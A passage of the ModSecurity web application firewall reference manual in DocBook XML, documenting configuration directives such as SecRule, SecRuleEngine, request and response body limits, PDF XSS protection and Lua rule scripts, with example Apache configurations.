<para><emphasis>Description:</emphasis> Defines the default action to
take on a rule match.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecDefaultAction
action1,action2,action3</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecDefaultAction
log,auditlog,deny,status:403,phase:2,t:lowercase</literal></para>
<para><emphasis>Processing Phase:</emphasis> Any</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> Rules following a
SecDefaultAction directive will inherit this setting unless a specific
action is specified for an individual rule or until another
SecDefaultAction is specified. Take special note that in the logging
disruptive actions are not allowed, but this can inadvertently be
inherited using a disruptive action in SecDefaultAction.</para>
<para>The default value is minimal (differing from previous
versions):</para>
<programlisting format="linespecific">SecDefaultAction phase:2,log,pass</programlisting>
<para><emphasis>Note</emphasis></para>
<para>SecDefaultAction must specify a disruptive action and a processing
phase.</para>
</section>
<section>
<title><literal>SecGeoLookupDb</literal></title>
<para><emphasis>Description:</emphasis> Defines the path to the
geographical database file.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecGeoLookupDb /path/to/db</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecGeoLookupDb
/usr/local/geo/data/GeoLiteCity.dat</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> Check out www.maxmind.com
for free database files.</para>
</section>
<section>
<title><literal>SecGuardianLog</literal></title>
<para><emphasis>Description:</emphasis> Configuration directive to use
the httpd-guardian script to monitor for Denial of Service (DoS)
attacks.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecGuardianLog |/path/to/httpd-guardian</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecGuardianLog
|/usr/local/apache/bin/httpd-guardian</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Main</para>
<para><emphasis>Dependencies/Notes:</emphasis> By default httpd-guardian
will defend against clients that send more 120 requests in a minute, or
more than 360 requests in five minutes.</para>
<para>Since 1.9, ModSecurity supports a new directive, SecGuardianLog,
that is designed to send all access data to another program using the
piped logging feature. Since Apache is typically deployed in a
multi-process fashion, making information sharing difficult, the idea is
to deploy a single external process to observe all requests in a
stateful manner, providing additional protection.</para>
<para>Development of a state of the art external protection tool will be
a focus of subsequent ModSecurity releases. However, a fully functional
tool is already available as part of the <ulink type=""
url="http://www.apachesecurity.net/tools/">Apache httpd tools
project</ulink>. The tool is called httpd-guardian and can be used to
defend against Denial of Service attacks. It uses the blacklist tool
(from the same project) to interact with an iptables-based (Linux) or
pf-based (*BSD) firewall, dynamically blacklisting the offending IP
addresses. It can also interact with SnortSam (http://www.snortsam.net).
Assuming httpd-guardian is already configured (look into the source code
for the detailed instructions) you only need to add one line to your
Apache configuration to deploy it:</para>
<programlisting format="linespecific">SecGuardianLog |/path/to/httpd-guardian</programlisting>
</section>
<section>
<title><literal>SecMarker</literal></title>
<para><emphasis>Description:</emphasis> Adds a fixed rule marker in the
ruleset to be used as a target in a <emphasis>skipAfter</emphasis>
action.</para>
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecMarker
id</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecMarker 9999</literal></para>
<para><emphasis>Processing Phase:</emphasis> Any</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> None</para>
<para><programlisting format="linespecific">SecRule REQUEST_URI "^/$" "chain,<emphasis>skipAfter:960099</emphasis>"
SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain"
SecRule REQUEST_HEADERS:User-Agent "^Apache \(internal dummy connection\)$" "t:none"
SecRule &amp;REQUEST_HEADERS:Host "@eq 0" \
"deny,log,status:400,id:960008,severity:4,msg:'Request Missing a Host Header'"
SecRule &amp;REQUEST_HEADERS:Accept "@eq 0" \
"log,deny,log,status:400,id:960015,msg:'Request Missing an Accept Header'"
<emphasis>SecMarker 960099</emphasis></programlisting></para>
</section>
<section>
<title><literal>SecPdfProtect</literal></title>
<para><emphasis>Description:</emphasis> Enables the PDF XSS protection
functionality. Once enabled access to PDF files is tracked. Direct
access attempts are redirected to links that contain one-time tokens.
Requests with valid tokens are allowed through unmodified. Requests with
invalid tokens are also allowed through but with forced download of the
PDF files. This implementation uses response headers to detect PDF files
and thus can be used with dynamically generated PDF files that do not
have the <filename>.pdf</filename> extension in the request URI.</para>
</section>
<section>
<title><literal>SecPdfProtectMethod</literal></title>
<para><emphasis>Description:</emphasis> Configure desired protection
method to be used when requests for PDF files are detected. Possible
values are <literal>TokenRedirection</literal> and
<literal>ForcedDownload</literal>. The token redirection approach will
attempt to redirect with tokens where possible. This allows PDF files to
continue to be opened inline but only works for GET requests. Forced
download always causes PDF files to be delivered as opaque binaries and
attachments. The latter will always be used for non-GET requests. Forced
download is considered to be more secure but may cause usability
problems for users ("This PDF won't open anymore!").</para>
<para><emphasis>Default:</emphasis>
<literal>TokenRedirection</literal></para>
</section>
<section>
<title><literal>SecPdfProtectSecret</literal></title>
<para><emphasis>Description:</emphasis> Defines the secret that will be
used to construct one-time tokens. You should use a reasonably long
value for the secret (e.g. 16 characters is good). Once selected the
secret should not be changed as it will break the tokens that were sent
prior to change. But it's not a big deal even if you change it. It will
just force download of PDF files with tokens that were issued in the
last few seconds.</para>
</section>
<section>
<title><literal>SecPdfProtectTimeout</literal></title>
<para><emphasis>Description:</emphasis> Defines the token timeout. After
token expires it can no longer be used to allow access to PDF file.
Request will be allowed through but the PDF will be delivered as
attachment.</para>
<para><emphasis>Default:</emphasis> <literal>10</literal></para>
</section>
<section>
<title><literal>SecPdfProtectTokenName</literal></title>
<para><emphasis>Description:</emphasis> Defines the name of the token.
The only reason you would want to change the name of the token is if you
wanted to hide the fact you are running ModSecurity. It's a good reason
but it won't really help as the adversary can look into the algorithm
used for PDF protection and figure it out anyway. It does raise the bar
slightly so go ahead if you want to.</para>
<para><emphasis>Default:</emphasis> <literal>PDFTOKEN</literal></para>
</section>
<section>
<title><literal>SecRequestBodyAccess</literal></title>
<para><emphasis>Description:</emphasis> Configures whether request
bodies will be buffered and processed by ModSecurity by default.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecRequestBodyAccess On|Off</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecRequestBodyAccess On</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> This directive is
required if you plan to inspect POST_PAYLOADS of requests. This
directive must be used along with the "phase:2" processing phase action
and REQUEST_BODY variable/location. If any of these 3 parts are not
configured, you will not be able to inspect the request bodies.</para>
<para>Possible values are:</para>
<itemizedlist>
<listitem>
<para><literal moreinfo="none">On</literal> - access request
bodies.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">Off</literal> - do not attempt to
access request bodies.</para>
</listitem>
</itemizedlist>
</section>
<section>
<title><literal>SecRequestBodyLimit</literal></title>
<para><emphasis>Description:</emphasis> Configures the maximum request
body size ModSecurity will accept for buffering.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecRequestBodyLimit NUMBER_IN_BYTES</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecRequestBodyLimit 134217728</literal></para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> 131072 KB (134217728
bytes) is the default setting. Anything over this limit will be rejected
with status code 413 Request Entity Too Large. There is a hard limit of
1 GB.</para>
</section>
<section>
<title><literal>SecRequestBodyNoFilesLimit</literal></title>
<para><emphasis>Description:</emphasis> Configures the maximum request
body size ModSecurity will accept for buffering, excluding the size of
files being transported in the request. This directive comes handy to
further reduce susceptibility to DoS attacks when someone is sending
request bodies of very large sizes. Web applications that require file
uploads must configure <literal>SecRequestBodyLimit</literal> to a high
value. Since large files are streamed to disk file uploads will not
increase memory consumption. However, it's still possible for someone to
take advantage of a large request body limit and send non-upload
requests with large body sizes. This directive eliminates that
loophole.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecRequestBodyNoFilesLimit
NUMBER_IN_BYTES</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecRequestBodyLimit 131072</literal></para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> 1 MB (1048576 bytes) is
the default setting. This value is very conservative. For most
applications you should be able to reduce it down to 128 KB or lower.
Anything over the limit will be rejected with status code <literal>413
Request Entity Too Large</literal>. There is a hard limit of 1
GB.</para>
</section>
<section>
<title><literal>SecRequestBodyInMemoryLimit</literal></title>
<para><emphasis>Description:</emphasis> Configures the maximum request
body size ModSecurity will store in memory.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecRequestBodyInMemoryLimit
NUMBER_IN_BYTES</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecRequestBodyInMemoryLimit 131072</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> None</para>
<para>By default the limit is 128 KB:</para>
<programlisting format="linespecific"># Store up to 128 KB in memory
SecRequestBodyInMemoryLimit 131072</programlisting>
</section>
<section>
<title><literal>SecResponseBodyLimit</literal></title>
<para><emphasis>Description:</emphasis> Configures the maximum response
body size that will be accepted for buffering.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecResponseBodyLimit NUMBER_IN_BYTES</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecResponseBodyLimit 524228</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> Anything over this limit
will be rejected with status code 500 Internal Server Error. This
setting will not affect the responses with MIME types that are not
marked for buffering. There is a hard limit of 1 GB.</para>
<para>By default this limit is configured to 512 KB:</para>
<programlisting format="linespecific"># Buffer response bodies of up to 512 KB in length
SecResponseBodyLimit 524288</programlisting>
</section>
<section>
<title><literal>SecResponseBodyLimitAction</literal></title>
<para><emphasis>Description</emphasis>: Controls what happens once a
response body limit, configured with
<literal>SecResponseBodyLimit</literal>, is encountered. By default
ModSecurity will reject a response body that is longer than specified.
Some web sites, however, will produce very long responses making it
difficult to come up with a reasonable limit. Such sites would have to
raise the limit significantly to function properly defying the purpose
of having the limit in the first place (to control memory consumption).
With the ability to choose what happens once a limit is reached site
administrators can choose to inspect only the first part of the
response, the part that can fit into the desired limit, and let the rest
through. Some could argue that allowing parts of responses to go
uninspected is a weakness. This is true in theory but only applies to
cases where the attacker controls the output (e.g. can make it arbitrary
long). In such cases, however, it is not possible to prevent leakage
anyway. The attacker could compress, obfuscate, or even encrypt data
before it is sent back, and therefore bypass any monitoring
device.</para>
<para><emphasis>Syntax</emphasis>: <literal>SecResponseBodyLimitAction
Reject|ProcessPartial</literal></para>
<para><emphasis>Example Usage</emphasis>:
<literal>SecResponseBodyLimitAction ProcessPartial</literal></para>
<para><emphasis>Processing Phase</emphasis>: N/A</para>
<para><emphasis>Scope</emphasis>: Any</para>
</section>
<section>
<title><literal>SecResponseBodyMimeType</literal></title>
<para><emphasis>Description:</emphasis> Configures which<literal
moreinfo="none"> MIME</literal> types are to be considered for response
body buffering.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecResponseBodyMimeType mime/type</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecResponseBodyMimeType text/plain
text/html</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> Multiple<literal
moreinfo="none"> SecResponseBodyMimeType</literal> directives can be
used to add<literal moreinfo="none"> MIME</literal> types.</para>
<para>The default value is <literal
moreinfo="none">text/plaintext/html</literal>:</para>
<programlisting format="linespecific">SecResponseBodyMimeType text/plain text/html</programlisting>
</section>
<section>
<title><literal>SecResponseBodyMimeTypesClear</literal></title>
<para><emphasis>Description:</emphasis> Clears the list of <literal
moreinfo="none">MIME</literal> types considered for response body
buffering, allowing you to start populating the list from
scratch.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecResponseBodyMimeTypesClear</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecResponseBodyMimeTypesClear</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> None</para>
</section>
<section>
<title><literal>SecResponseBodyAccess</literal></title>
<para><emphasis>Description:</emphasis> Configures whether response
bodies are to be buffer and analysed or not.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecResponseBodyAccess On|Off</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecResponseBodyAccess On</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> This directive is
required if you plan to inspect HTML responses. This directive must be
used along with the "phase:4" processing phase action and RESPONSE_BODY
variable/location. If any of these 3 parts are not configured, you will
not be able to inspect the response bodies.</para>
<para>Possible values are:</para>
<itemizedlist>
<listitem>
<para><literal moreinfo="none">On</literal> - access response bodies
(but only if the MIME type matches, see above).</para>
</listitem>
<listitem>
<para><literal moreinfo="none">Off</literal> - do not attempt to
access response bodies.</para>
</listitem>
</itemizedlist>
</section>
<section>
<title><literal>SecRule</literal></title>
<para><emphasis>Description:</emphasis> <literal
moreinfo="none">SecRule</literal> is the main ModSecurity directive. It
is used to analyse data and perform actions based on the results.</para>
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecRule
VARIABLES OPERATOR [ACTIONS]</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecRule REQUEST_URI "attack"</literal></para>
<para><emphasis>Processing Phase:</emphasis> Any</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> None</para>
<para>In general, the format of this rule is as follows:</para>
<programlisting format="linespecific">SecRule VARIABLES OPERATOR [ACTIONS]</programlisting>
<para>The second part, <literal moreinfo="none">OPERATOR</literal>,
specifies how they are going to be checked. The third (optional) part,
<literal moreinfo="none">ACTIONS</literal>, specifies what to do
whenever the operator used performs a successful match against a
variable.</para>
<section>
<title>Variables in rules</title>
<para>The first part,<literal moreinfo="none"> VARIABLES</literal>,
specifies which variables are to be checked. For example, the
following rule will reject a transaction that has the word<emphasis>
dirty</emphasis> in the URI:</para>
<programlisting format="linespecific">SecRule REQUEST_URI dirty</programlisting>
<para>Each rule can specify one or more variables:</para>
<programlisting format="linespecific">SecRule REQUEST_URI|QUERY_STRING dirty</programlisting>
<para>There is a third format supported by the selection operator -
XPath expression. XPath expressions can only used against the special
variable XML, which is available only of the request body was
processed as XML.</para>
<programlisting format="linespecific">SecRule XML:/xPath/Expression dirty</programlisting>
<note>
<para>As you have just seen, not all collections support all
selection operator format types. You should refer to the
documentation of each collection to determine what is and isn't
supported.</para>
</note>
</section>
<section>
<title>Operators in rules</title>
<para>In the simplest possible case you will use a regular expression
pattern as the second rule parameter. This is what we've done in the
examples above. If you do this ModSecurity assumes you want to use the
<literal moreinfo="none">rx</literal> operator. You can explicitly
specify the operator you want to use by using <literal
moreinfo="none">@</literal> as the first character in the second rule
parameter:</para>
<programlisting format="linespecific">SecRule REQUEST_URI "@rx dirty"</programlisting>
<para>Note how we had to use double quotes to delimit the second rule
parameter. This is because the second parameter now has a whitespace
in it. Any number of whitespace characters can follow the name of the
operator. If there are any non-whitespace characters there, they will
all be treated as a special parameter to the operator. In the case of
the regular expression operator the special parameter is the pattern
that will be used for comparison.</para>
<para>The @ can be the second character if you are using negation to
negate the result returned by the operator:</para>
<programlisting format="linespecific">SecRule &amp;ARGS "!@rx ^0$"</programlisting>
</section>
<section>
<title>Actions in rules</title>
<para>The third parameter, <literal moreinfo="none">ACTIONS</literal>,
can be omitted only because there is a helper feature that specifies
the default action list. If the parameter isn't omitted the actions
specified in the parameter will be merged with the default action list
to create the actual list of actions that will be processed on a rule
match.</para>
</section>
</section>
<section>
<title><literal>SecRuleInheritance</literal></title>
<para><emphasis>Description:</emphasis> Configures whether the current
context will inherit rules from the parent context (configuration
options are inherited in most cases - you should look up the
documentation for every directive to determine if it is inherited or
not).</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecRuleInheritance On|Off</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecRuleInheritance Off</literal></para>
<para><emphasis>Processing Phase:</emphasis> Any</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> Resource-specific
contexts (e.g.<literal moreinfo="none"> Location</literal>, <literal
moreinfo="none">Directory</literal>, etc) cannot override
<emphasis>phase1</emphasis> rules configured in the main server or in
the virtual server. This is because phase 1 is run early in the request
processing process, before Apache maps request to resource. Virtual host
context can override phase 1 rules configured in the main server.</para>
<para>Example: The following example shows where ModSecurity may be
enabled in the main Apache configuration scope, however you might want
to configure your VirtualHosts differently. In the first example, the
first VirtualHost is not inheriting the ModSecurity main config
directives and in the second one it is.</para>
<programlisting format="linespecific">SecRuleEnine On
SecDefaultAction log,pass,phase:2
...
&lt;VirtualHost *:80&gt;
ServerName app1.com
ServerAlias www.app1.com<emphasis>
SecRuleInheritance Off</emphasis>
SecDefaultAction log,deny,phase:1,redirect:http://www.site2.com
...
&lt;/VirtualHost&gt;
&lt;VirtualHost *:80&gt;
ServerName app2.com
ServerAlias www.app2.com
<emphasis>SecRuleInheritance On</emphasis> SecRule ARGS "attack"
...
&lt;/VirtualHost&gt;</programlisting>
<para>Possible values are:</para>
<itemizedlist>
<listitem>
<para><literal moreinfo="none">On</literal> - inherit rules from the
parent context.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">Off</literal> - do not inherit rules
from the parent context.</para>
</listitem>
</itemizedlist>
</section>
<section>
<title><literal>SecRuleEngine</literal></title>
<para><emphasis>Description:</emphasis> Configures the rules
engine.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecRuleEngine On|Off|DetectionOnly</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecRuleEngine On</literal></para>
<para><emphasis>Processing Phase:</emphasis> Any</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> This directive can also
be controlled by the ctl action (ctl:ruleEngine=off) for per rule
processing.</para>
<para>Possible values are:</para>
<itemizedlist>
<listitem>
<para><literal moreinfo="none">On</literal> - process rules.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">Off</literal> - do not process
rules.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">DetectionOnly</literal> - process
rules but never intercept transactions, even when rules are
configured to do so.</para>
</listitem>
</itemizedlist>
</section>
<section>
<title><literal>SecRuleRemoveById</literal></title>
<para><emphasis>Description:</emphasis> Removes matching rules from the
parent contexts.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecRuleRemoveById RULEID</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecRuleRemoveByID 1 2 "9000-9010"</literal></para>
<para><emphasis>Processing Phase:</emphasis> Any</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> This directive supports
multiple parameters, where each parameter can either be a rule ID, or a
range. Parameters that contain spaces must be delimited using double
quotes.</para>
<programlisting format="linespecific">SecRuleRemoveById 1 2 5 10-20 "400-556" 673</programlisting>
</section>
<section>
<title><literal>SecRuleRemoveByMsg</literal></title>
<para><emphasis>Description:</emphasis> Removes matching rules from the
parent contexts.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecRuleRemoveByMsg REGEX</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecRuleRemoveByMsg "FAIL"</literal></para>
<para><emphasis>Processing Phase:</emphasis> Any</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> This directive supports
multiple parameters. Each parameter is a regular expression that will be
applied to the message (specified using the <literal
moreinfo="none">msg</literal> action).</para>
</section>
<section>
<title><literal>SecRuleScript</literal> (Experimental)</title>
<para><emphasis>Description:</emphasis> This directive creates a special
rule that executes a Lua script to decide whether to match or not. The
main difference from <literal>SecRule</literal> is that there are no
targets nor operators. The script can fetch any variable from the
ModSecurity context and use any (Lua) operator to test them. The second
optional parameter is the list of actions whose meaning is identical to
that of <literal>SecRule</literal>.</para>
<para><emphasis>Syntax:</emphasis> <literal>SecRuleScript
/path/to/script.lua [ACTIONS]</literal></para>
<para>The first parameter, path to the script, can be absolute or
relative to the configuration file in which
<literal>SecRuleScript</literal> resides. This allows you to place your
script in the same folder as the configuration files using them.</para>
<note>
<para>All Lua scripts are compiled at configuration time and cached in
memory. To reload scripts you must reload the entire ModSecurity
configuration by restarting Apache.</para>
</note>
<para>Example script:</para>
<programlisting>-- Your script must define the <emphasis>main</emphasis> entry
-- point, as below.
function main()
-- Log something at level 1. Normally you shouldn't be
-- logging anything, especially not at level 1, but this is
-- just to show you can. Useful for debugging.
m.log(1, "Hello world!");
-- Retrieve one variable.
local var1 = m.getvar("REMOTE_ADDR");
-- Retrieve one variable, applying one transformation function.
-- The second parameter is a string.
local var2 = m.getvar("REQUEST_URI", "normalisePath");
-- Retrieve one variable, applying several transformation functions.
-- The second parameter is now a list. You should note that m.getvar()
-- requires the use of comma to separate collection names from
-- variable names. This is because only one variable is returned.
local var3 = m.getvar("ARGS.p", { "lowercase", "compressWhitespace" } );
-- If you want this rule to match return a string
-- containing the error message. The message <emphasis>must</emphasis> contain the name
-- of the variable where the problem is located.
-- return "Variable ARGS:p looks suspicious!"
-- Otherwise, simply return nil.
return nil;
end</programlisting>
<para>In this first example we were only retrieving one variable at the
time. In this case the name of the variable is known to you. In many
cases, however, you will want to examine variables whose names you won't
know in advance, for example script parameters.</para>
<para>Example showing use of <literal>m.getvars()</literal> to retrieve
many variables at once:</para>
<programlisting>function main()
-- Retrieve script parameters.
local d = m.getvars("ARGS", { "lowercase", "htmlEntityDecode" } );
-- Loop through the paramters.
for i = 1, #d do
-- Examine parameter value.
if (string.find(d[i].value, "&lt;script")) then
-- Always specify the name of the variable where the
-- problem is located in the error message.
return ("Suspected XSS in variable " .. d[i].name .. ".");
end
end
-- Nothing wrong found.
return nil;
end</programlisting>
<note>
<para>Go to <ulink url="http://www.lua.org">http://www.lua.org</ulink>
to find more about the Lua programming language. The reference manual
too is available online, at <ulink
url="http://www.lua.org/manual/5.1/">http://www.lua.org/manual/5.1/</ulink>.</para>
</note>
<note>
<para>Lua support is marked as <emphasis>experimental</emphasis>
because the way the scripts are written and function names may still
change while we are working for the best implementation style.</para>
</note>
</section>
<section>
<title><literal>SecRuleUpdateActionById</literal></title>
<para><emphasis>Description:</emphasis> Updates the action list of the
specified rule.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecRuleRemoveById RULEID ACTIONLIST</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecRuleUpdateActionById 12345
deny,status:403</literal></para>
<para><emphasis>Processing Phase:</emphasis> Any</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> This directive merges the
specified action list with the rule's action list. There are two
limitations. The rule ID cannot be changed, nor can the phase. Further
note that actions that may be specified multiple times are appended to
the original.</para>
<programlisting format="linespecific">SecAction \
"t:lowercase,phase:2,id:12345,pass,msg:'The Message',log,auditlog"
SecRuleUpdateActionById 12345 "t:compressWhitespace,deny,status:403,msg:'A new message'</programlisting>
<para>The example above will cause the rule to be executed as if it was
specified as follows:</para>
<programlisting format="linespecific">SecAction \
"t:lowercase,phase:2,id:12345,log,auditlog,t:compressWhitespace,deny,status:403,msg:'A new message'"</programlisting>
</section>
<section>
<title><literal>SecServerSignature</literal></title>
<para><emphasis>Description:</emphasis> Instructs ModSecurity to change
the data presented in the "Server:" response header token.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecServerSignature "WEB SERVER
SOFTWARE"</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecServerSignature
"Netscape-Enterprise/6.0"</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Main</para>
<para><emphasis>Dependencies/Notes:</emphasis> In order for this
directive to work, you must set the Apache ServerTokens directive to
Full. ModSecurity will overwrite the server signature data held in this
memory space with the data set in this directive. If ServerTokens is not
set to Full, then the memory space is most likely not large enough to
hold the new data we are looking to insert.</para>
</section>
<section>
<title><literal>SecTmpDir</literal></title>
<para><emphasis>Description:</emphasis> Configures the directory where
temporary files will be created.</para>
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecTmpDir
/path/to/dir</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecTmpDir /tmp</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> Needs to be writable by
the Apache user process. This is the directory location where Apache
will swap data to disk if it runs out of memory (more data than what was
specified in the SecRequestBodyInMemoryLimit directive) during
inspection.</para>
</section>
<section>
<title><literal>SecUploadDir</literal></title>
<para><emphasis>Description:</emphasis> Configures the directory where
intercepted files will be stored.</para>
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecUploadDir
/path/to/dir</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecUploadDir /tmp</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> This directory must be on
the same filesystem as the temporary directory defined with <literal
moreinfo="none">SecTmpDir</literal>. This directive is used with
<literal>SecUploadKeepFiles</literal>.</para>
</section>
<section>
<title><literal>SecUploadFileMode</literal></title>
<para><emphasis>Description:</emphasis> Configures the mode
(permissions) of any uploaded files using an octal number.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecUploadFileMode octal_mode|"default"</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecUploadFileMode 0640</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> The mode is an octal
number (as used in chmod). The default mode is for only the account
writing the file to have read/write access (0600). Use this directive
with caution to avoid exposing potentially sensitive data to
unauthorized users. Using the value "default" will revert back to the
default setting.</para>
</section>
<section>
<title><literal>SecUploadKeepFiles</literal></title>
<para><emphasis>Description:</emphasis> Configures whether or not the
intercepted files will be kept after transaction is processed.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecUploadKeepFiles On|Off|RelevantOnly</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecUploadKeepFiles On</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> This directive requires
the storage directory to be defined (using <literal
moreinfo="none">SecUploadDir</literal>).</para>
<para>Possible values are:</para>
<itemizedlist>
<listitem>
<para><literal moreinfo="none">On</literal> - Keep uploaded
files.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">Off</literal> - Do not keep uploaded
files.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">RelevantOnly</literal> - This will
keep only those files that belong to requests that are deemed
relevant.</para>
</listitem>
</itemizedlist>
</section>
<section>
<title><literal>SecWebAppId</literal></title>
<para><emphasis>Description:</emphasis> Creates a partition on the
server that belongs to one web application.</para>
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecWebAppId
"NAME"</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecWebAppId "WebApp1"</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> Partitions are used to
avoid collisions between session IDs and user IDs. This directive must
be used if there are multiple applications deployed on the same server.
If it isn't used, a collision between session IDs might occur. The
default value is<literal moreinfo="none"> default</literal>.
Example:</para>
<programlisting format="linespecific">&lt;VirtualHost *:80&gt;
ServerName app1.com
ServerAlias www.app1.com
<emphasis>SecWebAppId "App1"</emphasis>
SecRule REQUEST_COOKIES:PHPSESSID !^$ chain,nolog,pass
SecAction setsid:%{REQUEST_COOKIES.PHPSESSID}
...
&lt;/VirtualHost&gt;
&lt;VirtualHost *:80&gt;
ServerName app2.com
ServerAlias www.app2.com<emphasis>
SecWebAppId "App2"</emphasis>
SecRule REQUEST_COOKIES:PHPSESSID !^$ chain,nolog,pass
SecAction setsid:%{REQUEST_COOKIES.PHPSESSID}
...
&lt;/VirtualHost&gt;</programlisting>
<para>In the two examples configurations shown, SecWebAppId is being
used in conjunction with the Apache VirtualHost directives. What this
achieves is to create more unique collection names when being hosted on
one server. Normally, when setsid is used, ModSecurity will create a
collection with the name "SESSION" and it will hold the value specified.
With using SecWebAppId as shown in the examples, however, the name of
the collection would become "App1_SESSION" and "App2_SESSION".</para>
